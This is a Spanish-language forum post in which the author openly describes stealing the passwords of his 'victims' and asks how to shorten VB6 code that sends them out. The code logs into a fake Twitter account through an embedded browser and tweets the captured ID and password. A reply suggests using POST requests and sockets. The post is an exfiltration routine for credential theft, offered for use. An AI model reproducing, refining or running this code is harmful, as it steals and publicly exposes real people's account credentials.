Bueno debido a problemas de mi hosting ( http://www.teensmagazine.net (http://www.teensmagazine.net)) .. ya no tenia donde enviar claves datos, de mis victimas amigos.
Asi que lo mas practico que se ocurrio fue twittear, los datos obtrenido desde mi cuenta twitter (obiamente una cuenta nueva y falsa).
Mi pregunta es :
¿Existe alguna forma mas sencilla, de twittear desde Vb6? quizas en menos lineas..
Codigo:
Private Sub twittear()
If wb2.LocationURL = "https://mobile.twitter.com/session/new" Then
Me.wb2.Document.All("username").Value = "AquiCorreo"
Me.wb2.Document.All("password").Value = "AquiContraseña"
Dim HTML
Dim HTMLI
Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
If HTMLI.Type = "submit" Then
HTMLI.Click
Exit Sub
End If
Next
End If
If wb2.LocationURL = "http://mobile.twitter.com/" Then
'p2.Visible = True
Me.wb2.Document.All("tweet_text").Value = id.Text & contraseña.Text
Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
If HTMLI.Value = "Tweet" Then
HTMLI.Click
Exit Sub
End If
Next
End If
End Sub
pd : No confien en AqpHost -.-!
busca sobre el metodo POST y sockets.